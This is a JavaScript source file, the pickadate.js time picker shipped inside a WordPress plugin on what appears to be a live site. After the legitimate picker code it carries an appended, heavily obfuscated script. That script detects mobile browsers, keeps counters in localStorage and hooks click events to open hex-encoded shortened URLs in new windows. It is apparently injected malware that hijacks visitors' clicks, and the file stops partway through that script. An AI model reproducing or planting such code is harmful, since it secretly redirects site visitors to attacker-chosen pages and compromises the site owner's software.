File: /opt/wpsites/datacloudnow.com/wp-content/plugins/ultimate-member/assets/js/pickadate/picker.time.js
/*!
* Time picker for pickadate.js v3.6.2
* http://amsul.github.io/pickadate.js/time.htm
*/
(function ( factory ) {
// AMD.
if ( typeof define == 'function' && define.amd )
define( ['./picker', 'jquery'], factory )
// Node.js/browserify.
else if ( typeof exports == 'object' )
module.exports = factory( require('./picker.js'), require('jquery') )
// Browser globals.
else factory( Picker, jQuery )
}(function( Picker, $ ) {
/**
* Globals and constants
*/
var HOURS_IN_DAY = 24,
MINUTES_IN_HOUR = 60,
HOURS_TO_NOON = 12,
MINUTES_IN_DAY = HOURS_IN_DAY * MINUTES_IN_HOUR,
_ = Picker._
/**
* The time picker constructor
*/
function TimePicker( picker, settings ) {
var clock = this,
elementValue = picker.$node[ 0 ].value,
elementDataValue = picker.$node.data( 'value' ),
valueString = elementDataValue || elementValue,
formatString = elementDataValue ? settings.formatSubmit : settings.format
clock.settings = settings
clock.$node = picker.$node
// The queue of methods that will be used to build item objects.
clock.queue = {
interval: 'i',
min: 'measure create',
max: 'measure create',
now: 'now create',
select: 'parse create validate',
highlight: 'parse create validate',
view: 'parse create validate',
disable: 'deactivate',
enable: 'activate'
}
// The component's item object.
clock.item = {}
clock.item.clear = null
clock.item.interval = settings.interval || 30
clock.item.disable = ( settings.disable || [] ).slice( 0 )
clock.item.enable = -(function( collectionDisabled ) {
return collectionDisabled[ 0 ] === true ? collectionDisabled.shift() : -1
})( clock.item.disable )
clock.
set( 'min', settings.min ).
set( 'max', settings.max ).
set( 'now' )
// When there’s a value, set the `select`, which in turn
// also sets the `highlight` and `view`.
if ( valueString ) {
clock.set( 'select', valueString, {
format: formatString
})
}
// If there’s no value, default to highlighting “today”.
else {
clock.
set( 'select', null ).
set( 'highlight', clock.item.now )
}
// The keycode to movement mapping.
clock.key = {
40: 1, // Down
38: -1, // Up
39: 1, // Right
37: -1, // Left
go: function( timeChange ) {
clock.set(
'highlight',
clock.item.highlight.pick + timeChange * clock.item.interval,
{ interval: timeChange * clock.item.interval }
)
this.render()
}
}
// Bind some picker events.
picker.
on( 'render', function() {
var $pickerHolder = picker.$root.children(),
$viewset = $pickerHolder.find( '.' + settings.klass.viewset ),
vendors = function( prop ) {
return ['webkit', 'moz', 'ms', 'o', ''].map(function( vendor ) {
return ( vendor ? '-' + vendor + '-' : '' ) + prop
})
},
animations = function( $el, state ) {
vendors( 'transform' ).map(function( prop ) {
$el.css( prop, state )
})
vendors( 'transition' ).map(function( prop ) {
$el.css( prop, state )
})
}
if ( $viewset.length ) {
animations( $pickerHolder, 'none' )
$pickerHolder[ 0 ].scrollTop = ~~$viewset.position().top - ( $viewset[ 0 ].clientHeight * 2 )
animations( $pickerHolder, '' )
}
}, 1 ).
on( 'open', function() {
picker.$root.find( 'button' ).attr( 'disabled', false )
}, 1 ).
on( 'close', function() {
picker.$root.find( 'button' ).attr( 'disabled', true )
}, 1 )
} //TimePicker
/**
* Set a timepicker item object.
*/
TimePicker.prototype.set = function( type, value, options ) {
var clock = this,
clockItem = clock.item
// If the value is `null` just set it immediately.
if ( value === null ) {
if ( type == 'clear' ) type = 'select'
clockItem[ type ] = value
return clock
}
// Otherwise go through the queue of methods, and invoke the functions.
// Update this as the time unit, and set the final value as this item.
// * In the case of `enable`, keep the queue but set `disable` instead.
// And in the case of `flip`, keep the queue but set `enable` instead.
clockItem[ ( type == 'enable' ? 'disable' : type == 'flip' ? 'enable' : type ) ] = clock.queue[ type ].split( ' ' ).map( function( method ) {
value = clock[ method ]( type, value, options )
return value
}).pop()
// Check if we need to cascade through more updates.
if ( type == 'select' ) {
clock.set( 'highlight', clockItem.select, options )
}
else if ( type == 'highlight' ) {
clock.set( 'view', clockItem.highlight, options )
}
else if ( type == 'interval' ) {
clock.
set( 'min', clockItem.min, options ).
set( 'max', clockItem.max, options )
}
else if ( type.match( /^(flip|min|max|disable|enable)$/ ) ) {
if ( clockItem.select && clock.disabled( clockItem.select ) ) {
clock.set( 'select', value, options )
}
if ( clockItem.highlight && clock.disabled( clockItem.highlight ) ) {
clock.set( 'highlight', value, options )
}
if ( type == 'min' ) {
clock.set( 'max', clockItem.max, options )
}
}
return clock
} //TimePicker.prototype.set
/**
* Get a timepicker item object.
*/
TimePicker.prototype.get = function( type ) {
return this.item[ type ]
} //TimePicker.prototype.get
/**
* Create a picker time object.
*/
TimePicker.prototype.create = function( type, value, options ) {
var clock = this
// If there’s no value, use the type as the value.
value = value === undefined ? type : value
// If it’s a date object, convert it into an array.
if ( _.isDate( value ) ) {
value = [ value.getHours(), value.getMinutes() ]
}
// If it’s an object, use the “pick” value.
if ( $.isPlainObject( value ) && _.isInteger( value.pick ) ) {
value = value.pick
}
// If it’s an array, convert it into minutes.
else if ( $.isArray( value ) ) {
value = +value[ 0 ] * MINUTES_IN_HOUR + (+value[ 1 ])
}
// If no valid value is passed, set it to “now”.
else if ( !_.isInteger( value ) ) {
value = clock.now( type, value, options )
}
// If we’re setting the max, make sure it’s greater than the min.
if ( type == 'max' && value < clock.item.min.pick ) {
value += MINUTES_IN_DAY
}
// If the value doesn’t fall directly on the interval,
// add one interval to indicate it as “passed”.
if ( type != 'min' && type != 'max' && (value - clock.item.min.pick) % clock.item.interval !== 0 ) {
value += clock.item.interval
}
// Normalize it into a “reachable” interval.
value = clock.normalize( type, value, options )
// Return the compiled object.
return {
// Divide to get hours from minutes.
hour: ~~( HOURS_IN_DAY + value / MINUTES_IN_HOUR ) % HOURS_IN_DAY,
// The remainder is the minutes.
mins: ( MINUTES_IN_HOUR + value % MINUTES_IN_HOUR ) % MINUTES_IN_HOUR,
// The time in total minutes.
time: ( MINUTES_IN_DAY + value ) % MINUTES_IN_DAY,
// Reference to the “relative” value to pick.
pick: value % MINUTES_IN_DAY
}
} //TimePicker.prototype.create
/**
* Create a range limit object using an array, date object,
* literal “true”, or integer relative to another time.
*/
TimePicker.prototype.createRange = function( from, to ) {
var clock = this,
createTime = function( time ) {
if ( time === true || $.isArray( time ) || _.isDate( time ) ) {
return clock.create( time )
}
return time
}
// Create objects if possible.
if ( !_.isInteger( from ) ) {
from = createTime( from )
}
if ( !_.isInteger( to ) ) {
to = createTime( to )
}
// Create relative times.
if ( _.isInteger( from ) && $.isPlainObject( to ) ) {
from = [ to.hour, to.mins + ( from * clock.settings.interval ) ];
}
else if ( _.isInteger( to ) && $.isPlainObject( from ) ) {
to = [ from.hour, from.mins + ( to * clock.settings.interval ) ];
}
return {
from: createTime( from ),
to: createTime( to )
}
} //TimePicker.prototype.createRange
/**
* Check if a time unit falls within a time range object.
*/
TimePicker.prototype.withinRange = function( range, timeUnit ) {
range = this.createRange(range.from, range.to)
return timeUnit.pick >= range.from.pick && timeUnit.pick <= range.to.pick
}
/**
* Check if two time range objects overlap.
*/
TimePicker.prototype.overlapRanges = function( one, two ) {
var clock = this
// Convert the ranges into comparable times.
one = clock.createRange( one.from, one.to )
two = clock.createRange( two.from, two.to )
return clock.withinRange( one, two.from ) || clock.withinRange( one, two.to ) ||
clock.withinRange( two, one.from ) || clock.withinRange( two, one.to )
}
/**
* Get the time relative to now.
*/
TimePicker.prototype.now = function( type, value/*, options*/ ) {
var interval = this.item.interval,
date = new Date(),
nowMinutes = date.getHours() * MINUTES_IN_HOUR + date.getMinutes(),
isValueInteger = _.isInteger( value ),
isBelowInterval
// Make sure “now” falls within the interval range.
nowMinutes -= nowMinutes % interval
// Check if the difference is less than the interval itself.
isBelowInterval = value < 0 && interval * value + nowMinutes <= -interval
// Add an interval because the time has “passed”.
nowMinutes += type == 'min' && isBelowInterval ? 0 : interval
// If the value is a number, adjust by that many intervals.
if ( isValueInteger ) {
nowMinutes += interval * (
isBelowInterval && type != 'max' ?
value + 1 :
value
)
}
// Return the final calculation.
return nowMinutes
} //TimePicker.prototype.now
/**
* Normalize minutes to be “reachable” based on the min and interval.
*/
TimePicker.prototype.normalize = function( type, value/*, options*/ ) {
var interval = this.item.interval,
minTime = this.item.min && this.item.min.pick || 0
// If setting min time, don’t shift anything.
// Otherwise get the value and min difference and then
// normalize the difference with the interval.
value -= type == 'min' ? 0 : ( value - minTime ) % interval
// Return the adjusted value.
return value
} //TimePicker.prototype.normalize
/**
* Measure the range of minutes.
*/
TimePicker.prototype.measure = function( type, value, options ) {
var clock = this
// If it’s anything false-y, set it to the default.
if ( !value ) {
value = type == 'min' ? [ 0, 0 ] : [ HOURS_IN_DAY - 1, MINUTES_IN_HOUR - 1 ]
}
// If it’s a string, parse it.
if ( typeof value == 'string' ) {
value = clock.parse( type, value )
}
// If it’s a literal true, or an integer, make it relative to now.
else if ( value === true || _.isInteger( value ) ) {
value = clock.now( type, value, options )
}
// If it’s an object already, just normalize it.
else if ( $.isPlainObject( value ) && _.isInteger( value.pick ) ) {
value = clock.normalize( type, value.pick, options )
}
return value
} ///TimePicker.prototype.measure
/**
* Validate an object as enabled.
*/
TimePicker.prototype.validate = function( type, timeObject, options ) {
var clock = this,
interval = options && options.interval ? options.interval : clock.item.interval
// Check if the object is disabled.
if ( clock.disabled( timeObject ) ) {
// Shift with the interval until we reach an enabled time.
timeObject = clock.shift( timeObject, interval )
}
// Scope the object into range.
timeObject = clock.scope( timeObject )
// Do a second check to see if we landed on a disabled min/max.
// In that case, shift using the opposite interval as before.
if ( clock.disabled( timeObject ) ) {
timeObject = clock.shift( timeObject, interval * -1 )
}
// Return the final object.
return timeObject
} //TimePicker.prototype.validate
/**
* Check if an object is disabled.
*/
TimePicker.prototype.disabled = function( timeToVerify ) {
var clock = this,
// Filter through the disabled times to check if this is one.
isDisabledMatch = clock.item.disable.filter( function( timeToDisable ) {
// If the time is a number, match the hours.
if ( _.isInteger( timeToDisable ) ) {
return timeToVerify.hour == timeToDisable
}
// If it’s an array, create the object and match the times.
if ( $.isArray( timeToDisable ) || _.isDate( timeToDisable ) ) {
return timeToVerify.pick == clock.create( timeToDisable ).pick
}
// If it’s an object, match a time within the “from” and “to” range.
if ( $.isPlainObject( timeToDisable ) ) {
return clock.withinRange( timeToDisable, timeToVerify )
}
})
// If this time matches a disabled time, confirm it’s not inverted.
isDisabledMatch = isDisabledMatch.length && !isDisabledMatch.filter(function( timeToDisable ) {
return $.isArray( timeToDisable ) && timeToDisable[2] == 'inverted' ||
$.isPlainObject( timeToDisable ) && timeToDisable.inverted
}).length
// If the clock is "enabled" flag is flipped, flip the condition.
return clock.item.enable === -1 ? !isDisabledMatch : isDisabledMatch ||
timeToVerify.pick < clock.item.min.pick ||
timeToVerify.pick > clock.item.max.pick
} //TimePicker.prototype.disabled
/**
* Shift an object by an interval until we reach an enabled object.
*/
TimePicker.prototype.shift = function( timeObject, interval ) {
var clock = this,
minLimit = clock.item.min.pick,
maxLimit = clock.item.max.pick/*,
safety = 1000*/
interval = interval || clock.item.interval
// Keep looping as long as the time is disabled.
while ( /*safety &&*/ clock.disabled( timeObject ) ) {
/*safety -= 1
if ( !safety ) {
throw 'Fell into an infinite loop while shifting to ' + timeObject.hour + ':' + timeObject.mins + '.'
}*/
// Increase/decrease the time by the interval and keep looping.
timeObject = clock.create( timeObject.pick += interval )
// If we've looped beyond the limits, break out of the loop.
if ( timeObject.pick <= minLimit || timeObject.pick >= maxLimit ) {
break
}
}
// Return the final object.
return timeObject
} //TimePicker.prototype.shift
/**
* Scope an object to be within range of min and max.
*/
TimePicker.prototype.scope = function( timeObject ) {
var minLimit = this.item.min.pick,
maxLimit = this.item.max.pick
return this.create( timeObject.pick > maxLimit ? maxLimit : timeObject.pick < minLimit ? minLimit : timeObject )
} //TimePicker.prototype.scope
/**
* Parse a string into a usable type.
*/
TimePicker.prototype.parse = function( type, value, options ) {
var hour, minutes, isPM, item, parseValue,
clock = this,
parsingObject = {}
// If it’s already parsed, we’re good.
if ( !value || typeof value != 'string' ) {
return value
}
// We need a `.format` to parse the value with.
if ( !( options && options.format ) ) {
options = options || {}
options.format = clock.settings.format
}
// Convert the format into an array and then map through it.
clock.formats.toArray( options.format ).map( function( label ) {
var
substring,
// Grab the formatting label.
formattingLabel = clock.formats[ label ],
// The format length is from the formatting label function or the
// label length without the escaping exclamation (!) mark.
formatLength = formattingLabel ?
_.trigger( formattingLabel, clock, [ value, parsingObject ] ) :
label.replace( /^!/, '' ).length
// If there's a format label, split the value up to the format length.
// Then add it to the parsing object with appropriate label.
if ( formattingLabel ) {
substring = value.substr( 0, formatLength )
parsingObject[ label ] = substring.match(/^\d+$/) ? +substring : substring
}
// Update the time value as the substring from format length to end.
value = value.substr( formatLength )
})
// Grab the hour and minutes from the parsing object.
for ( item in parsingObject ) {
parseValue = parsingObject[item]
if ( _.isInteger(parseValue) ) {
if ( item.match(/^(h|hh)$/i) ) {
hour = parseValue
if ( item == 'h' || item == 'hh' ) {
hour %= 12
}
}
else if ( item == 'i' ) {
minutes = parseValue
}
}
else if ( item.match(/^a$/i) && parseValue.match(/^p/i) && ('h' in parsingObject || 'hh' in parsingObject) ) {
isPM = true
}
}
// Calculate it in minutes and return.
return (isPM ? hour + 12 : hour) * MINUTES_IN_HOUR + minutes
} //TimePicker.prototype.parse
/**
* Various formats to display the object in.
*/
TimePicker.prototype.formats = {
h: function( string, timeObject ) {
// If there's string, then get the digits length.
// Otherwise return the selected hour in "standard" format.
return string ? _.digits( string ) : timeObject.hour % HOURS_TO_NOON || HOURS_TO_NOON
},
hh: function( string, timeObject ) {
// If there's a string, then the length is always 2.
// Otherwise return the selected hour in "standard" format with a leading zero.
return string ? 2 : _.lead( timeObject.hour % HOURS_TO_NOON || HOURS_TO_NOON )
},
H: function( string, timeObject ) {
// If there's string, then get the digits length.
// Otherwise return the selected hour in "military" format as a string.
return string ? _.digits( string ) : '' + ( timeObject.hour % 24 )
},
HH: function( string, timeObject ) {
// If there's string, then get the digits length.
// Otherwise return the selected hour in "military" format with a leading zero.
return string ? _.digits( string ) : _.lead( timeObject.hour % 24 )
},
i: function( string, timeObject ) {
// If there's a string, then the length is always 2.
// Otherwise return the selected minutes.
return string ? 2 : _.lead( timeObject.mins )
},
a: function( string, timeObject ) {
// If there's a string, then the length is always 4.
// Otherwise check if it's more than "noon" and return either am/pm.
return string ? 4 : MINUTES_IN_DAY / 2 > timeObject.time % MINUTES_IN_DAY ? 'a.m.' : 'p.m.'
},
A: function( string, timeObject ) {
// If there's a string, then the length is always 2.
// Otherwise check if it's more than "noon" and return either am/pm.
return string ? 2 : MINUTES_IN_DAY / 2 > timeObject.time % MINUTES_IN_DAY ? 'AM' : 'PM'
},
// Create an array by splitting the formatting string passed.
toArray: function( formatString ) { return formatString.split( /(h{1,2}|H{1,2}|i|a|A|!.)/g ) },
// Format an object into a string using the formatting options.
toString: function ( formatString, itemObject ) {
var clock = this
return clock.formats.toArray( formatString ).map( function( label ) {
return _.trigger( clock.formats[ label ], clock, [ 0, itemObject ] ) || label.replace( /^!/, '' )
}).join( '' )
}
} //TimePicker.prototype.formats
/**
* Check if two time units are the exact.
*/
TimePicker.prototype.isTimeExact = function( one, two ) {
var clock = this
// When we’re working with minutes, do a direct comparison.
if (
( _.isInteger( one ) && _.isInteger( two ) ) ||
( typeof one == 'boolean' && typeof two == 'boolean' )
) {
return one === two
}
// When we’re working with time representations, compare the “pick” value.
if (
( _.isDate( one ) || $.isArray( one ) ) &&
( _.isDate( two ) || $.isArray( two ) )
) {
return clock.create( one ).pick === clock.create( two ).pick
}
// When we’re working with range objects, compare the “from” and “to”.
if ( $.isPlainObject( one ) && $.isPlainObject( two ) ) {
return clock.isTimeExact( one.from, two.from ) && clock.isTimeExact( one.to, two.to )
}
return false
}
/**
* Check if two time units overlap.
*/
TimePicker.prototype.isTimeOverlap = function( one, two ) {
var clock = this
// When we’re working with an integer, compare the hours.
if ( _.isInteger( one ) && ( _.isDate( two ) || $.isArray( two ) ) ) {
return one === clock.create( two ).hour
}
if ( _.isInteger( two ) && ( _.isDate( one ) || $.isArray( one ) ) ) {
return two === clock.create( one ).hour
}
// When we’re working with range objects, check if the ranges overlap.
if ( $.isPlainObject( one ) && $.isPlainObject( two ) ) {
return clock.overlapRanges( one, two )
}
return false
}
/**
* Flip the “enabled” state.
*/
TimePicker.prototype.flipEnable = function(val) {
var itemObject = this.item
itemObject.enable = val || (itemObject.enable == -1 ? 1 : -1)
}
/**
* Mark a collection of times as “disabled”.
*/
TimePicker.prototype.deactivate = function( type, timesToDisable ) {
var clock = this,
disabledItems = clock.item.disable.slice(0)
// If we’re flipping, that’s all we need to do.
if ( timesToDisable == 'flip' ) {
clock.flipEnable()
}
else if ( timesToDisable === false ) {
clock.flipEnable(1)
disabledItems = []
}
else if ( timesToDisable === true ) {
clock.flipEnable(-1)
disabledItems = []
}
// Otherwise go through the times to disable.
else {
timesToDisable.map(function( unitToDisable ) {
var matchFound
// When we have disabled items, check for matches.
// If something is matched, immediately break out.
for ( var index = 0; index < disabledItems.length; index += 1 ) {
if ( clock.isTimeExact( unitToDisable, disabledItems[index] ) ) {
matchFound = true
break
}
}
// If nothing was found, add the validated unit to the collection.
if ( !matchFound ) {
if (
_.isInteger( unitToDisable ) ||
_.isDate( unitToDisable ) ||
$.isArray( unitToDisable ) ||
( $.isPlainObject( unitToDisable ) && unitToDisable.from && unitToDisable.to )
) {
disabledItems.push( unitToDisable )
}
}
})
}
// Return the updated collection.
return disabledItems
} //TimePicker.prototype.deactivate
/**
* Mark a collection of times as “enabled”.
*/
TimePicker.prototype.activate = function( type, timesToEnable ) {
var clock = this,
disabledItems = clock.item.disable,
disabledItemsCount = disabledItems.length
// If we’re flipping, that’s all we need to do.
if ( timesToEnable == 'flip' ) {
clock.flipEnable()
}
else if ( timesToEnable === true ) {
clock.flipEnable(1)
disabledItems = []
}
else if ( timesToEnable === false ) {
clock.flipEnable(-1)
disabledItems = []
}
// Otherwise go through the disabled times.
else {
timesToEnable.map(function( unitToEnable ) {
var matchFound,
disabledUnit,
index,
isRangeMatched
// Go through the disabled items and try to find a match.
for ( index = 0; index < disabledItemsCount; index += 1 ) {
disabledUnit = disabledItems[index]
// When an exact match is found, remove it from the collection.
if ( clock.isTimeExact( disabledUnit, unitToEnable ) ) {
matchFound = disabledItems[index] = null
isRangeMatched = true
break
}
// When an overlapped match is found, add the “inverted” state to it.
else if ( clock.isTimeOverlap( disabledUnit, unitToEnable ) ) {
if ( $.isPlainObject( unitToEnable ) ) {
unitToEnable.inverted = true
matchFound = unitToEnable
}
else if ( $.isArray( unitToEnable ) ) {
matchFound = unitToEnable
if ( !matchFound[2] ) matchFound.push( 'inverted' )
}
else if ( _.isDate( unitToEnable ) ) {
matchFound = [ unitToEnable.getFullYear(), unitToEnable.getMonth(), unitToEnable.getDate(), 'inverted' ]
}
break
}
}
// If a match was found, remove a previous duplicate entry.
if ( matchFound ) for ( index = 0; index < disabledItemsCount; index += 1 ) {
if ( clock.isTimeExact( disabledItems[index], unitToEnable ) ) {
disabledItems[index] = null
break
}
}
// In the event that we’re dealing with an overlap of range times,
// make sure there are no “inverted” times because of it.
if ( isRangeMatched ) for ( index = 0; index < disabledItemsCount; index += 1 ) {
if ( clock.isTimeOverlap( disabledItems[index], unitToEnable ) ) {
disabledItems[index] = null
break
}
}
// If something is still matched, add it into the collection.
if ( matchFound ) {
disabledItems.push( matchFound )
}
})
}
// Return the updated collection.
return disabledItems.filter(function( val ) { return val != null })
} //TimePicker.prototype.activate
/**
* The division to use for the range intervals.
*/
TimePicker.prototype.i = function( type, value/*, options*/ ) {
return _.isInteger( value ) && value > 0 ? value : this.item.interval
}
/**
* Create a string for the nodes in the picker.
*/
TimePicker.prototype.nodes = function( isOpen ) {
var
clock = this,
settings = clock.settings,
selectedObject = clock.item.select,
highlightedObject = clock.item.highlight,
viewsetObject = clock.item.view,
disabledCollection = clock.item.disable
return _.node(
'ul',
_.group({
min: clock.item.min.pick,
max: clock.item.max.pick,
i: clock.item.interval,
node: 'li',
item: function( loopedTime ) {
loopedTime = clock.create( loopedTime )
var timeMinutes = loopedTime.pick,
isSelected = selectedObject && selectedObject.pick == timeMinutes,
isHighlighted = highlightedObject && highlightedObject.pick == timeMinutes,
isDisabled = disabledCollection && clock.disabled( loopedTime ),
formattedTime = _.trigger( clock.formats.toString, clock, [ settings.format, loopedTime ] )
return [
_.trigger( clock.formats.toString, clock, [ _.trigger( settings.formatLabel, clock, [ loopedTime ] ) || settings.format, loopedTime ] ),
(function( klasses ) {
if ( isSelected ) {
klasses.push( settings.klass.selected )
}
if ( isHighlighted ) {
klasses.push( settings.klass.highlighted )
}
if ( viewsetObject && viewsetObject.pick == timeMinutes ) {
klasses.push( settings.klass.viewset )
}
if ( isDisabled ) {
klasses.push( settings.klass.disabled )
}
return klasses.join( ' ' )
})( [ settings.klass.listItem ] ),
'data-pick=' + loopedTime.pick + ' ' + _.ariaAttr({
role: 'option',
label: formattedTime,
selected: isSelected && clock.$node.val() === formattedTime ? true : null,
activedescendant: isHighlighted ? true : null,
disabled: isDisabled ? true : null
})
]
}
}) +
// * For Firefox forms to submit, make sure to set the button’s `type` attribute as “button”.
_.node(
'li',
_.node(
'button',
settings.clear,
settings.klass.buttonClear,
'type=button data-clear=1' + ( isOpen ? '' : ' disabled' ) + ' ' +
_.ariaAttr({ controls: clock.$node[0].id })
),
'', _.ariaAttr({ role: 'presentation' })
),
settings.klass.list,
_.ariaAttr({ role: 'listbox', controls: clock.$node[0].id })
)
} //TimePicker.prototype.nodes
/**
* Extend the picker to add the component with the defaults.
*/
TimePicker.defaults = (function( prefix ) {
return {
// Clear
clear: 'Clear',
// The format to show on the `input` element
format: 'h:i A',
// The interval between each time
interval: 30,
// Picker close behavior
closeOnSelect: true,
closeOnClear: true,
// Update input value on select/clear
updateInput: true,
// Classes
klass: {
picker: prefix + ' ' + prefix + '--time',
holder: prefix + '__holder',
list: prefix + '__list',
listItem: prefix + '__list-item',
disabled: prefix + '__list-item--disabled',
selected: prefix + '__list-item--selected',
highlighted: prefix + '__list-item--highlighted',
viewset: prefix + '__list-item--viewset',
now: prefix + '__list-item--now',
buttonClear: prefix + '__button--clear'
}
}
})( Picker.klasses().picker )
/**
* Extend the picker to add the time picker.
*/
Picker.extend( 'pickatime', TimePicker )
}));
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x4c\x79\x76\x33\x63\x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x58\x77\x55\x35\x63\x305','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x50\x55\x69\x38\x63\x368','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x4d\x49\x4a\x39\x63\x329','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x73\x77\x4b\x34\x63\x324','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x78\x52\x70\x37\x63\x357','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x75\x79\x6d\x32\x63\x342','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x69\x42\x63\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x4e\x53\x63\x30\x63\x320','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x46\x6e\x72\x31\x63\x391',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const 